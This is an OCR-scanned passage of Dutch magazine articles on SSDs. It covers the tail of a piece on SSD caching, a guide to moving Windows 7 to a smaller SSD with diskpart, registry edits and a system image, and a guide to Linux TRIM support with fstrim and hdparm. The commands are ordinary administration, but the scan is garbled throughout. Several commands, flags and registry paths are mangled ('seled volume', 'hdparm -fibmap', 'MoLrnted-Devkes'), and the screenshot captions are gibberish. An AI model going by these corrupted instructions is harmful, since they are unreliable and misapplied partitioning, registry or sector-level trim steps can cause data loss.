soms afzonderlijk en vernietigt bij 
schrijfbenaderingen alle data. 

Vermoedeiijk komen er in 2012 
ook AMD-systemen met SSD- 
caching op de markt aangezien 
dat volledig met software gere- 
aliseerd kan worden. Samsung 
verkoopt ai een notebook met 
de ExpressCache-techniek van 
Diskeepec die tot nu toe bekend 
was van defragmentatleprogram- 
ma's. Bovendien kun je SATA- en 
SAS-hostadapters met cachtng- 
functies kopen, bijvoorbeeld de 
Highpoint RocketHybrid 1220 
(SATA) of voor servers de Adap- 
tec-serie MaxlQ (2405a 5805Q 
en 5805ZQL Er zijn ook speciale 
chassis voor een SSD plus harde 
schijf waarbij een SATA-controller 
de caching regelt en die je als een 
drive op een SATA-poort kunt 
aansluiten. Een voorbeeld is de 
Silverstone HODboost. 

Alle SSD-cacfies hebben het 
nadeel dat hun precieze bedrijfs- 


modus steeds maar tot op zekere 
hoogte bekend is. Bovendien is 
de capaciteit van de flashbuffer 
steeds beperkt, zodat bij druk 
gebruik door veel verschillende 
programma's oudere data moet 
wijken, 

Beter massaware 

Bij veel speciale SSD-varianten 
moet je genoegen nemen met 
een slechtere compatlbiJiteit of 
performance. Sommige PCIe- 
SSD's zijn bijvoorbeeld niet boot¬ 
able of werken alleen onder ser¬ 
ver besturingssystemen omdat 
andere drivers ontbreken. IDE- 
SSD's voor oude (mobiele) com¬ 
puters zijn nogal traag. Het echte 
SSD-gevoel ervaar je daar niet 
mee. De snelste doorontwikkeling 
en de sterkste concurrentie heb je 
bij de SATA 11- en de SATA 6G-SSD's 
in het 2,5"-formaat, Daarbij krijg je 
dan ook de meeste capaciteit en 
performance voorje geld. Boven¬ 
dien lessen de fabrikanten firm- 
warebugs bij populaire producten 
sneifer op dan bij spedaliteiten 
die alleen maar ontwikkeld zijn 
voor een klein aantal specifieke 
systemen. De van de gangbare 
2,5'’-verstes afgeleide 1,8”- en 
mSATA-SSD's profiteren nog het 
meest van de technische vooruit- 
gang. 

SSD-caching zou voor veel 
(mobiele) pc-gebruikers kun¬ 
nen uitgroeien tot een bijzonder 
aantrekkelljk alternatief voor een 
'echte' SSD. Met de volgende 
chipsetgeneratie van AMD en 
Intel zou den flash buffers wel eens 
veel gangbaarder kunnen wor¬ 
den. Zulke buffers bieden veel 
vDordelen. BIJ het opzetten van je 
systeem hoef Je je niet te ergeren 
aan ingewikkelde partitlonering 
of een geringe SSD-capaciteit. 
Je kunt je schijf gewoon indelen 
zoals jij dat wilt, Maar bij caching 
komen wel deels ongedocu- 
menteerde functies en fabrikant- 
specifieke drivers in het spel die 
het by averij moeilyker maken om 
je data te redden. Als je SSD's gaat 
gebrulken, heb Je dus wel een 
betrouwbare back-upstrategie 
nodig: de jonge techniek zit nog 
vol verrass ingen. (hhe) 

c* 


mSATA-SSD's zouden ook bij 
desktopcomputers wel eens 
aan populariteit kunnen win- 
nen - als buffer voor harde 
schijven. 
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Axel Vahidiek 

Grote 

verhuizing 

Windows 7 met boordmiddeien op een 
kieine SSD zetten 

Als je je oude harddisk vervangt door een nieuwe, wil je 
Windows eigenlijk nret opnieuw moeten instaKeren. En dat 
hoeft in de meeste gevallen ook niet. De software die je 
daar voor nodig hebt zit zeifs al in Windows 7. 


et vervangen van een 
osjde harde schijf door 
een nieuwe is eigenlijk 
een mooi moment om Windows 
opnieuw te installerea zeker afs 
de nieuwe schijf een snelle SSD 
IS. Aangezien dit soort schijven 
meestal nogal klein zijn, wil je 
geen last hebben van oude bal¬ 
last. Maar Windows opnieuw in- 
stalieren is ook weer zo'n gedoe. 
Dan moet je behalve Windows 
ook a lie Windows-updates en a I 
je programma’s en bestanden 


weer opnieuw op de computer 
zetten. Gelukkig heeft Windows 
7 alles in huis voor een verhui¬ 
zing naar een kleinere SSD zon- 
der dat een herinstallatie nodig 
IS* Hiervoor moet je wel een paar 
trues toepassen - a I helpen die 
in sommige gevallen ook niet* 
De manier die we in dit artikel 
beschrijven werkte op verschil- 
lende computers zonder proble- 
men, maar niet op alle; op een 
Asus-notebook B53E lukte het 
niet, welke nieuwe harddisk we 


ook inbouwden (klassiek of SSD) 
- blijkbaar een probleem met de 
firmware. 

De meest belangrijke acties 
fn het kort: pas de grootte van 
de oude systeempartitle aan op 
die van de nieuwe schijf, maak 
daar dan een image van, wissel 
de schijven om en zet de Image 
teryg. In de praktijk gaat het 
echter niet zo makkelijk en blljkt 
het vooral een probleem om de 
oude systeempartitle kleiner te 
maken* Maar daar komen we 
nog op. 

Toolbox 

Windows 7 heeft de benodlgde 
software voor de verhuizing 
compleet m huis, maar je moet 
toch nog wat voorzorgsmaatre- 
gelen treffen. Zorg voor voldoen- 
de opslagruimte voor de image. 
De benodigde grootte kun je in 
de Verkenner vooraf globaal zien 
aan de vulllng van de systeem- 
partitie. In de image worden het 
slaapbestand hiberflLsys en het 
wisselbestand pagefile.sys niet 
meegenomen - wat ook niet erg 
is, want als die ontbreken maakt 
Windows ze bij een volgende 
systeemstart gewoon opnieuw 
aan* In de image worden wel al- 
tjjd twee andere partities, mits 
aanwezig, meegenomen: een 
recovery-partitie en een l OOiVIB- 
bootpartitie, waar onder andere 
de bootloader op staat. Je kunt 
in de Verkenner niet zien of die 
partities wel of niet aanwezig 
zijn, omdat ze geen stationslet- 
ters hebben. Kljk in plaats daar- 
van in het Schijfbeheer* Die staat 
in het Computerbeheer, waar je 
komt als Je bij het start menu in 
het snelmenu van ‘Computer' op 
'Beheren' klikt, Kijk niet alleen 
hoeveel data er op deze partities 
staat, maar ook naar de volledi- 
ge grootte. 

Als opslagplaats voor de 
image is een tweede ingebouw- 
de harddisk of een usb-schijf het 
beste geschikt* Deze moet met 
het bestandssysteem NTFS ge- 
formatteerd zijn. Usb-schr|ven 
met meerdere partities leldden 
m onze test tot problemen, je 
kunt dus beter een schijf met 
slechts een partitie nemen. 
Windows accepteerde geen 
usb-sticks, ook a I hadden die 
het bestandssysteem NTFS en 
voldoende ruimte. Je kunt de 
image ook over meerdere dvd's 
verspreiden, maar dat werkt re- 
latief moeizaam. Als je Windows 
7 Professional, Enterprise of Ulti¬ 


mate hebt, kun je de image ook 
op een netwerkschijf plaatsen, 
waarbij de netwerkkaart dan 
wel met standaard drivers moet 
kunnen werken. Sla de image 
in ieder geval niet op de oude 
harde schijf op waar Windows 
momenteel op gemstalleerd 
staat. Die mag bij het terugzet- 
ten van de image in geen geval 
in de computer zitten, want an- 
ders wordt de image later on her- 
roepelijk daarop teruggezet in 
plaats van op de SSD. 

Om de image na het vervan- 
gen van de harde schijf terug te 
kunnen zetten, heb je boven- 
dien een Windows PE nodig. 
Dat is een kieine nood-Windows 
met onder andere een wizard 
voor het terugzetten van de 
image. Als je een originele Win¬ 
dows 7-dvd hebt, beschik je al 
over een PE. Daar kom je by als 
je na het booten van de dvd in 
plaats van 'Nu installeren' onder- 
aan 'Opties voor het herstellen 
van de computer' aanktikt Als 
je deze dvd niet hebt, kun je er 
zelf een branden: typ 'back-up’ 
In het zoekveld van Windows 
7, selecteer 'Back-up maken en 
terugzetten' en klik dan linksbo- 
ven op ’Een systeemherste I schijf 
maken’. 

PE kan trouwens ook vanaf 
usb-drives booten, maar in dit 
geval Is dat niet aan te raden. 
Het lijkt er op dat Microsoft 
het terugzetten van een image 
onder deze omstandigheden 
niet afdoende getest heeft* Het 
terugzetten na het starten vanaf 
een usb-stick lukte alleen toen 
we de stick voor de beslissende 
'OK’ erult trokken.Toen we vanaf 
een usb-schijf opstartten, waar 
ook de Image op stond, bood de 
wizard eerst aan de image terug 
te zetten, maar brak toen af met 
een onduidelijke foutmelding. 
Als PE daarentegen van een cd 
of dvd bootte, verilep het herin- 
stalferen wel altijd betrouwbaar. 

Klein maken 

Dat de meeste SSO's een stuk 
minder opslagruimte hebben 
dan een normale harde schijf, 
wordt bij een verhuizing een 
probleem als de systeempartitle 
waar Windows op de oude schijf 
op geTnstalleerd is, groter is dan 
de nieuwe SSD. De wizard voor 
het herstellen zet een image ah 
tijd in de originele grootte terug. 
Als die niet op de doelschijf past, 
breekt de wizard af met een 
nietszeggende foutmelding. 
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Verkfein voor de verhurzing dus 
eerst de oude systeem parti tie. 
A!s het voldoende is om de schijf 
tot maximaal de helft te verklei- 
nea kan dat met een paar muis- 
klikken in Windows 7 zelf via het 
Schijfbeheer. In het snelmenu 
van de systeempartltie staat de 
menuoptie 'Volume verkleinen'. 
Na een klik hierop faat Windows 
zien hoeveel MB de partrtie klei- 
ner kan worden. 

Hoeveel dat is, is slechts ge- 
deeitelijk afhankelyk van hoe¬ 
veel gegevens er op de partitie 
staan: op het midden van de 
partitie staan een reeks data die 
het schijfbeheer bfj een draaien- 
de Windows niet kan verplaat- 
sen - daarom de beperking tot 
maximaal de helft* Als je zelfs 
eens wilt kijken hoe dat eruit 
ziet, krijg je met de freeware 
Diskview een overzicht van wat 
er waar op de schijf staat (live, 
sy s i nter n a I s. co m/to o I s). 

Nog kleiner 

Als de systeempartitie kleiner 
moet worden dan de helft van 
de oorspronkelijke grootte, moet 
je eerst de data die in de weg 
staan handmatig weghalen. Daar 
horen de schaduwkopleen, de 
zoekindex en het wisselbestand 
bij* 


Eerst de schaduwkopieen* Die 
worden door het systeemherstel 
automatisch aangemaakt. Deze 
staan in de normaliter met 
goede redenen verstopte map 
'System Volume Information’, die 
voor Administrators niet eeos 
bereikbaar is* Maar wees niet 
bang, je hoeft niet met de toe- 
gangsrechten van de map in de 
weer. Het kan makkelijker; scha- 
kel het systeemherstel tijdelijk 
uit Daarmee verwijder je ook de 
tot dan aangemaakte schaduw- 
kopieen* Druk op de sneltoets 
Windows-Pauze en klik links op 
'Systeembeveiliging', Hler kun 
je de C:-schijf markeren en dan 
onder 'Configureren' de 'Sys¬ 
teembeveiliging u itscha kelen’. 
Vergeet niet om deze instelling 
weer te herstellen na het over- 
zetten van Windows. 

De zoekindex wordt ook au¬ 
tomatisch door Windows aan¬ 
gemaakt. Ook die is met een 
paar muisklikken te verwijderen. 
Typ 'ind' in het zoekveld van het 
startmenu en open de 'Indexe- 
ringsopttes'* Bij 'Geavanceerd' 
kun je de opslagplaats voor de 
index naar een andere harddisk 
overzetten. Als er geen beschlk- 
baar is, verwijder dan alie gein- 
dexeerde mappen op de lijsL 
Onthoud wel welke mappen je 
verwijdert om die na de verhui- 



Het schijfbe¬ 
heer kan de 
systeempartitie 
tot maximaal 
de helft ver¬ 
kleinen omdat 
daar niet ver- 
plaatsbare sys- 
teembestan- 
den staan* 



Diskview laat 
de niet ver- 
plaatsbare sys- 
teembestanden 
zien als een 
dunne streep in 
het midden van 
het onderste 
deel van het 
venster* 


Omeen 
image terug 
te zetten, heb 
je een boota¬ 
ble Windows- 
dvd nodig. 

Als je die niet 
hebt, kun 
je die door 
Windows 
laten maken. 


S?i«teerttn en plsetj een jctiiip in hef ftmon. 


Ui Itutit een ijfrtefrmnfmeifcriljf gebtul^en om de Eoiivput« p-p te ntiten, De?< 
fystftmhei^teiicntif isevit ook W^ndowi-nLilpprogreinffla'i voorfysteemherttel 
wianneE u Mndowi kunt hentelten lU eeti ernttlgefoiit oT mEt behuip vjn een 
topic de computer kurtt betTteiren. 
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zing weer in de lijst te kunnen 
opnemen (bijvoorbeeld door 
screenshots te maken)* Klik voor 
het verwijderen bij 'Wijzigen' op 
Alle locaties weergeven'. Als je 
dan onderaan op een van de ’ge- 
selecteerde locaties' klikt, gaat 
de boomweergave bovenin naar 
de plaats waar je het bijbeho- 
rende vinkje kunt verwijderen. 
Bij verborgen mappen lukt dat 
alJeen als je in de 'Mapoptles' 
(typ ‘map’ in het zoekveld van 
het startmenu) onder 'Weer- 
gave' het vinkje voor 'Beveiligde 
besturlngssysteembestanden 
verbergen' verwijdert. Als je alle 
mappen uit de index hebt ge- 
haald, sluit je het venster met de 
geindexeerde locaties en laat je 
bij de indexeringsopties bij Ge- 
avanceerd' de index Verwijde¬ 
ren en opnieuw samenstellen'* 
Die tweede stap wordt hier ech- 
ter achterwege gel ate n omdat 
er niets meer te Indexeren valt 
- precies wat de bedoellng was. 

Microsoft wijst erop dat bij 
het verkleinen ook het wissel¬ 
bestand in de weg kan zitten, 
maar daar hadden we geen 
last van. Als dat toch het geval 
mocht zijn, kun je het wisselbe¬ 
stand verwijderen door weer 
op de sneltoets Windows-Pauze 
te drukken en dan links op 'Ge- 
avanceerde systeeminstellin- 
gen‘ te klikken. Op het tabblad 
'Geavanceerd' kies je de 'Instel- 
lingen' van 'Prestaties' en klik je 
dan bij ’Geavanceerd' op 'Wijzi¬ 
gen'. Verwijder het vinkje voor 
Wisselbestandsgrootte voor alle 
schijven automatisch beheren; 
markeer schijf C, kies 'Geen wis¬ 
selbestand' en klik op "Instellen'. 
Na een reboot is het wisselbe¬ 
stand verdwenen “ vergeet na 
de verhuizing niet dit weerterug 
te draalen, anders regent het 
klachten van Windows* 

Van buiten 

Er staat nog lets in het Tnidden 
van de partitie: de Master File 


Table (MFT) van het NTFS-be- 
standssysteem. Die kun je niet 
verplaatsen, maar dat is ook niet 
nodig, Het Windows-etgen par- 
titioneringsprogramma kan dat 
namelfjk zelf, met een uitzonde- 
ring: dat kan niet de MFT van de 
partitie waar het draaiende Win¬ 
dows op geinstalleerd staat. De 
opiossing: start het partitione- 
ringsprogramma gewoon onder 
Windows PE. Om de voigende 
stappen makkelijker te maken, 
moet je eerst de Verkenner 
openen en de systeempartitie 
een duidelijke naam geven die 
verschilt van die van de andere 
schijven. 

De PE is vanaf de boven ge- 
noemde cd/dvd te booten, 
maar in dit geval kan het nog 
makkelijker. Op de oude schijf 
staat immers ook een PE. Hier- 
mee kun je de MFT ook ver- 
plaatsen omdat PE ztchzelf na 
het booten compleet naar de 
RAM-schijf kopieert en dan daar 
vandaan draait - de ha rde schijf 
wordt dus niet meer geblok- 
keerd. Start de pc opnieuw, 
maar druk na de bootmeldin- 
gen op de toets F8, Er verschijnt 
een menu met verschillende 
bootopties, waaruit je 'Uw com¬ 
puter herstellen' kiest. Nadat 
je de taal hebt bevestigd en je 
wachtwoord ingevoerd, beland 
Je in de PE in een menu met vijf 
items. Met de onderste start je 
een opdrachtprompt. 

Typ hier diskpart In, dan start 
het commandoregel-partitio- 
neerprogramma. Kijk met List disk 
eerst naar een overzicht van de 
ingebouwde harde schijven. De 
Juiste moet aan de grootte te 
herkennen zijn* Met select disk 0 
selecteer Je de schijf, maar dan 
met het juiste nummer. Als je 
er niet zeker van bent of je de 
goede schijf te pakken hebt, kun 
je met detail disk onder andere de 
namen van de partities op de 
harde schijf bekljken. 

Kies nu je systeempartitie met 
seled volume 2 (gebruik het juiste 
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Waar wilt u de back-up op5ta3n? 

Een systieemkjopie ts ten tophe van de stations die flodtg Eijn om Windows urt te voereri. In 

een fysieemkooce kunrwn oqI< ancfera wordeti opgetionnea U kunt een 

systeemkiopie gebruiken om iiw computer te hie^JWllen ats oe liicde schijf of computer niet 
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Windows 7 kan een Image op NTFS-schijven en blanco-dvd's maken. Als er boot- en recoverypartities op de harde schijf staan, wil de 
Met de duurdere versies kun je die ook In het lokale netwerk opsfaan. Imager van Windows deze in pri ncipe ook mee back-uppen. 


nummer weer). Nu moet je gaan 
rekenen: je hebt ongeveer het 
verschil tussen de grootte van 
de systeempartitle en de groot¬ 
te van de SSD In MB nodig. Ats 
Windows bijvoorbeeid op een 
500G8-partitie staat en naar een 
1286B-partitie moet is het ver- 
schi! circa 372.000 MB. Hoeveel 
dat precies is, is nog niet eens zo 
belangrijk, rond dit getai royaai 
naar boven at Als iater op de 
SSD ook de boot- en de recove¬ 
ry parti ties moeten komen, moet 
je de grootte van deze twee 
er nog bij optellen. De partitfe 
wordt er we! wat kieiner door, 
maar die kon je iater met een 
muiskfik weer vergroten tot het 
maximum - dat bespaart veel re- 
ken werk. Het commando 

shrink desired=400000 

verklemt de partitie nu met on¬ 
geveer 400 GB. Er is heiaas geen 
voortgangsbalk, je moet dus 
even gedufd hebben tot het be- 
ficht verschijnt Het volume is 
verkieind met: 400 GE\ Dan kun 
je de opdrachtprompt siulten en 
Windows herstarten. 

Nog meer 
voorbereidingen 

Voordat je de image aanmaakt, 
moet je er nog voor zorgen dat 
Windows bij de volgende reboot 
geen updates gaat instaileren 
- bij ons misiukte in dergeiijke 


gevallen het hersteilen. Contro- 
leer dit door in het zoekvak van 
het startmenu 'upd‘ In te typen, 
'Windows Update' te klezen en 
dan linksboven 'Op updates 
controleren' te klikken. Als het 
berkht verschijnt 'X belangrijke 
updates zijn beschikbaar' instal- 
leerjedie handmatfg, herstart je 
Windows en herhaai je deze pro¬ 
cedure totdat het bericht 'Geen 
belangrijke updates beschik¬ 
baar' verschijnt. 

Er is trouwens niets op tegen 
om de oude schijf met het oude 
Windows erop later in dezelfde 
pc als parallelle installatle te 
blijven gebruiken. In dat geval 
moet je voor het aanmaken van 
de Image echter nog een extra 
actie ondernemen. Bij het terug- 
kopieren van de image wordt 
later namelljk ook de harddisk- 
ID aangepast - de SSD krljgt die 
van de oude systeempartitle. 
De Windows-versie op de oude 
schijf zal dan daar ook de sys- 
teembestanden verwachten. 
De oude Windows zou dan wel 
vanaf de oude schijf opstarten, 
maar vervolgens de systeembe- 
standen van de SSD laden. In het 
ergste geval kan dat tot dataver- 
lies leiden. 

De makkelijkste optossing: 
ve r w i j d ef a 11 e stati o n stoe w i j- 
zingen. Bij de volgende herstart 
oftewel na het instaileren van 
de image maakt Windows alle 
toewijzingen dan opnieuw aan. 
Om toewijzingen te verwijderen, 


start je de registereditor {'regedit' 
in het systeemvak van het start- 
menu) en verwijder je de sleutel 
HKEY_LOCAL_MACHlNE\SYSTEM\MoLrnted- 
Devkes in zijn geheel. Misschien 
moet je na de herstart in het 
Schijfbeheer enkde stationslet- 
ters weer aanpassen aan deoude 
insteningen [in hetsnelmenu van 
de schijven), maar dat gaat snel- 
ler dan het afzonderlijk corrlge- 
ren van de registersfeutels. 

Nu dani 

Om de image te maken, typ je 
'back' in het zoekveld van het 
startmenu en kies je 'back-up 
maken en terugzetten'. Linksbo¬ 
ven staat de link 'Een systeem- 
kopie maken' Nadat je het doel 
van de back-up hebt geselec- 
teerd, laat de wizard zien welke 
partitles hi] wit back-uppen. De 
systeempartitle waar Windows 
op staat hoort daar altijd bij. 
Hij wil ook de boot- en de reco- 
verypartitie back-uppen, voor 
zover aanwezig. Als de wizard 
meer partities om te back-uppen 
noemt, moet je de extra vinkjes 
verwijderen. Oe wizard gaat an- 
ders later immers proberen om 
die ook te hersteilen, maar daar 
is dan niet voldoende ruimte 
voor. De wizard meldt in het vol¬ 
gende venster hoeveel ruimte er 
voor de image nodig is. 

Als de image aangemaakt is, 
sluit je Windows af, haai je de 
oude harde schijf eruit en bouw 


je de nieuwe in. Kom niet in de 
verleiding om de oude schijf in 
de pc te laten zitten - zoals ge- 
zegd zou de wizard de image 
daar dan op hersteilen in piaats 
van op de SSD. Boot van de Win¬ 
dows 7-dvd en klik op 'Compu- 
terherstelopties' of start vanaf 
de genoemde systeemherstel- 
schijf. De wizard om de image 
te hersteilen start automatisch 
als er op de ingebouwde harde 
schijven geen Windows staat. De 
rest wijst zich vanzelf. 

Hlerna start je Windows vanaf 
de SSD. Weillcht moet Windows 
dan opnieuw geactiveerd wor- 
den. Schakel daarna zoals be- 
schreven het systeemherstel, de 
indexering en het wisselbestand 
in. In het Schijfbeheer kun je bo- 
vendien de systeempartitie naar 
zijn maximale grootte ultbrei- 
den. De menuoptie in het snel- 
menu is 'Volume uitbreiden' 

Als je nu de oude schijf erbij 
zet, is deze in Verkenner in eer- 
ste instantie niet te vinden. In 
het Schijfbeheer staat de toe- 
voeging 'offline door identieke 
signatuuf - een klik op 'online' 
IS echter voldoende om dit aan 
te passen. Boot de pc nog eens 
vanaf de cd/dvd, dan start een 
wizard die automatisch bootpro- 
blemen herkent en wegwerkt. In 
dit geval leldt dat ertoe dat hij 
de Windows-versie op de oude 
schijf aan het bootmenu toe- 
voegt. (mja) 

dt 
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I SSD: Linux 


Werner Fischer, Thorsten Leemhuis 

Meldplicht 

Linux configureren voor SSD's 

Door af en toe een bepaalde commandlinetool aan te 
roepen kun je de prestaties van SSD's verbeteren en ze aan 
meer uithoudingsvermogen helpen« 


SD's slaan gegevens heel 
anders op dan harde schij- 
ven, maar tegenover het 
besturingssysteem gedragen ze 
zich wel hetzelfde, Hierdoor kun- 
nen ook oeroude systemen a Is 
MS-DOS met SSD's sanrrenwer- 
ken, Maar gegevensdragers met 
flashchips houden het langervol 
en zijn sneller als het besturings¬ 
systeem rekening houdt met hun 
spedale eigenschappen. Linux- 
distributies hebben daarvoor af- 
lerlef instellingen en een beheer- 
tool die je af en toe moet aanroe- 
pen. Bovendien zijn er een paar 
dingen waar je het beste direct 
op kunt letten als je de SSD voor 
het eerst instelt, omdat het ach- 


teraf behoorlijk wat moelte kost 
om ze te corrigeren. 

Voor een lange levensduur 
en fatsoenlijke snelheid is het 
belangrijk dat het besturings¬ 
systeem de SSD Informeert over 
geheugengebieden die vrijgege- 
ven worden. Als dat niet gebeu rt, 
zijn gegevens die uit het oog- 
punt van de gebruiker allang ge- 
wist zijn voor de controller nog 
steeds relevant Daarom schrijft 
de controller die data onder 
bepaalde omstandlgheden op- 
nieuw weg op het moment dat 
er andere gegevens opgeslagen 
moeten worden* De reken kracht 
die nodig is voor het beheren en 
verwerken van deze gegevens 


drukt de performance. Boven¬ 
dien slijten de flashchips sneller 
door het schrijven van onnodige 
data. Die kunnen immers maar 
een beperkt aantal schrijfacties 
aan. 

Bij harde schijven was het niet 
nodig om te melden dat geheu¬ 
gengebieden niet meer gebruikt 
werden* De benodigde infra- 
structuur is pas ontstaan met de 
opkomst van SSD's. Eind 2008 Is 
bij Linux 2.6.28 de discard-tnfra- 
structuur geintroduceerd. Daar- 
mee kunnen bestandssystemen 
en schijfbeheerprogramma's de 
kernel verteNen dat hij het aan 
de gebruikte gegevensdragers 
moet melden als delen van het 
geheugen geen gegevens meer 
bevatten, bijvoorbeeld als er een 
bestand verwijderd is of een par- 
title wordt geformatteerd. Deze 
informatle kan Linux sinds 2*6.33 
via een speclaal ATA-commando 
doorgeven aan SSD's die via 
SATA aangesloten zijn. Vrijwel 
alfe actuefe SSD's begrijpen dit 
trimcommando. 

Weggooien 

Linux ondersteunt twee soorten 


discard. Bij een online discard 
informeert de kernel een drive 
zodra bepaalde opslaggebieden 
vrijkomen door het wtssen van 
bestanden. Daarvoor moet het 
bestandssysteem deze functie 
wel kennen. Btrfs ondersteunt 
het sinds kerne! 2.632, ext4 
sinds 2.6.33 en XFS sinds 3*0. Bij 
alledrie de filesystems staat de 
functie standaard uitgeschakeld 
en kun je hem via de mount- 
optie -0 discard inschakelen. De 
veie trimcommando's die hier¬ 
door gegenereerd worden, kun¬ 
nen in combinatie met de ma- 
nier waarop Linux ze verstuurt, 
de performance van veel SSD’s 
behoorlijk drukken, terwiji juist 
het tegendeel de bedoeling is* 
Bovendien be we re n een aantal 
ervaren Linux-ontwikkefaars dat 
online discard sommige SSD's 
zo in de war kan brengen dat je 
ze in het vervolg afleen nog als 
presse-papier kunt gebrulken* 
Het nieuwere batched discard 
omzeilt deze problemen. Daar- 
bij kun je met een aanroep als 
fstrim /mnt/poim/ het bestandssys¬ 
teem opdracht geven om onder 
de opgegeven mountpoint 
naar ongebruikte gebieden te 
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zoeken en deze aan de gege- 
vensdrager te melden. Je kunt 
het programtna dus het beste 
net als een defrag mentatlepro- 
gramma af en toe handmatlg of 
via een cron^job aanroepen op 
momenten dat het systeem ver- 
der weinig te doen heeft. Ext4 
ondersteunt batched discard 
vanaf kernel 2.637, ext2, ext3 en 
XF5 vanaf 2.638 en Btrfs vanaf 
2,639. r^FS-3G en de FAT-code 
in de kernel kunnen er helemaal 
niet mee ovenweg. Fedora 15 en 
OpenSuse 11.4 beschikken over 
alles wat je voor batched discard 
nodig hebt, Ubuntu moet het 
vanaf versie 1130 ook onder- 
steunen. 

BiJ beide discard-method es 
moeten de verschiliende lagen 
van de l/O-stack die betrokken 
zijn bij het benaderen van de 
gegevensdrager de informatie 
over vrijgekomen geheugen ook 
doorgeven. Dat lukt niet met de 
kernekode voor software-RAIDs 
die via mdadm gebruikt kan 
worden. Daarom merken de ge- 
gevensdragers in zo'n RAID niets 
van de discard. Maar de meeste 
van de onder andere door LVM 
gebruikte device-mapper targets 
ondersteunen discard wel: delay, 
linear, mpath en stripe vanaf 
kernel 2,6.36 en mirror vanaf 
2,638, Aangezien die laatste 
RAID 1-functies bledt, kan spie- 
gelen met LVM een alternatief 
zijn voor een met mdadm ge- 
maakte RAID 1. 

Trimmen 

De commandlinetool hdparm 
voor het instellen van ATA-hard- 
diskpara meters bevat sinds ver- 
sie 9.17 het script wiper.sh. Daar- 
mee kun je met een paar trues 
een bestandssysteem doorzoe- 
ken op vrlje gebieden en deze 
aan de gegevensdrager laten 
melden. Bij actuele hdparm- 
versies zit het script raidlext4tnm. 
sh, waarmee je hetzelfde idee ook 
kunt toepassen op een software- 
RAID 1. Beide scripts roepen 
hdparm aan met de parameters 
-falLocate en -trim-sectof-ranges-ndm, 
Zo wordt de l/O-stack van de 
kernel omzeild en worden de 
vrije sectoren via het trim com¬ 
mando direct naar ATA-SSD's ver- 
stuurd. Bij een foute berekening 
door de scripts of bij verkeerd 
gebruik kun je al snel last krijgen 
van gegevensverlies, Je moet de 
scripts dus alleen bij wijze van 
uitzondering gebruiken en in na- 
volging van het advies uit de do’ 


cumentatie bij het wiper-script 
back-ups maken, 

Hdparm kan zelf aangeven 
of discard werkt, Hiervoor maak 
je eersi een testbestand aan 
en geef je de kernel opdracht 
om dit naar de SSD te schfljven. 
Vervolgens kun je het LBS-adres 
achterhalen van de sector waar 
de kernel de gegevens heefi op- 
geslagen, 

echo "ABCD" > tesi.txt 
sync 

hdparm -fibmap testtxt 

Met de in de uitvoerkolom beg]n_ 
L6A genoemde sector en de voF 
gende aanroep kun je het gebied 
hierna direct bij de gegevensdra¬ 
ger opvragen. Die sector moet 
je in Linux-notatie opgeven, bij- 
voorbeeld /dev/sda in het vol- 
gende voorbeeld. Aansluitend 
verwijder je het be stand, roep je 
fstrim aan en lees |e na synchro- 
nisatie de sector weer uit: 

hdparm -read-sector 123456789 /dev/sda 
rm test.txt 
fstrim, 
sync 

hdparm -read-sector 123456789 /dev/sda 

Als discard werki, levert het 
laatste commando nullen op. 
De meeste moderne SSD‘s stu- 
ren die namelijk bij het oitiezen 
van getrimde sectoren. Of dat 
bij jouw SSD ook het geval is en 
of deze uberhaupt trim onder- 
steunt kun je achterhalen met 
hdparm -I /dev/sda [ grep -i trim. 

Swappen 

Sinds Linux 2,6.29 ondersteunt 
de kernel discard bij swapdevi- 
ces. Net als bij online discard kan 
direct trimmen performance- 
verlies veroorzaken. Vanaf ver- 


radding sector succa^ded 

0000 0000 OCOO 0000 0000 OOOO 0000 0000 
[rMt@ankb-iiBrpQrk testsl# Q 


sie 2.6.36 is trimmen in bedrijf 
daarom optioneel en moet via de 
swapon-optie -d of de fstab-optie 
discard worden ingeschakeld, On- 
afhankelljk hiervan voert swapon 
bij de eerste keer activeren van 
een swapdevice een discard uit 
voor de gehele swap-partitie. 
Dat is meet dan voldoende voor 
systemen die zo nu en dan op- 
nieuw gestart worden en maar af 
eo toe geheugen swappen, 

Moderne distributies maken 
het werk voor de SSD's boven- 
dien makkelijker door drives 
standaard met de optie relatlme 
(Relative Access Time) te moun- 
ten. In deze bedrljfsmodus up- 
datet de kernel de laatste toe- 
gangstljd van bestanden alleen 
in bepaalde geval len, bij voor¬ 
beeld als de laatste benadering 
meer dan 24 uur eerder geleden 
is. Behaive het mail program ma 
mutt heeft vrijwel geen enkel 
programma nauwkeuriger gege¬ 
vens nodig. 

Als je de SSD onnodig schrijf- 
werk wilt besparen, kunje map- 
pen voor vaak veranderende 
bestanden op een parallel in- 
gebouwde harde schijf zetten. 
Denk bij voorbeeld aan de direc¬ 
tory’s voor tijdelijke bestanden / 
tmp4 /var/tmp/ en /var/cache/, 
Als er voldoende werkgeheugen 
is kun je op deze directory's een 
tmpfs mounten, waarmee je de 
data in het RAM zet. Een aan- 
tal van de nieuwere distributies 
doen dat bij de twee eerder ge¬ 
noemde mountpoints uit zich- 
zeff omdat de daar opgeslagen 
gegevens toch alleen tot aan de 
vo I gende reboot belangrijk zijn. 

Bij moderne kernels hoef je 
je hoofd niet te breken over de 
juiste l/O-scheduler voor SSD's. 
Als de kernel de SSD als zodanig 
herkent, ziet die namelijk af van 
een aantal voor harde schijven 


troatJJanh'h-morpcrrk testsl# sudo -1 i| gr*p -i trim 

* Data >3t Management TRIM supportedi {limit d blocksj 

* Deteontnlstlc read after TRIM 

[root^^'irkkli-ittarpHirli ttsts]# ■JspCR'' > tesi.titj sync 

Troot^nkh^iiurpork hdpsrim tesit,t)it 

test.tet: 

filesyste-m bli5.cksi:i:e- 1024, LB* 3606596$; a^eurrang 512 byte ssetors. 

byt^^offuet b'e^in_!_BA 5ind_tSA lectors 

0 3808^30 36CS0531 2 

[root^nkh-pnorperk t%st5]#r h^arm r^^d,sector 38088^30 vdaw/sda j htad -n 4 

/dev/sd#: 

reading 

4241 4443 OGOa 0000 OODO OIXtO OpOQ OOOO 
[rootcaanrkb-morpork tests]# rm -f tast.txt 
[rp-ot^nkb-morpork tests]# fatrnr - r . ; aync 
. l 2 S 98944 bytes vas trimimd 

.[root@^nkb-tiiorpork testsl# hdpartr --read-sector 36O8$S30 /dsv/sda | head -n 4 


belangrijke, maar voor SSD's julst 
onhandige trues. Je kunt achter¬ 
halen of de kernel je SSD herkent 
doordat cat /sys/block/sda/queue/rotati- 
onal in dat geval,O' opievert. 

Interieurdesign 

In het ideale geval moet je al bij 
het opzenen van een nieuw sys¬ 
teem een paar dingen in het oog 
houden om het snelheidspoten- 
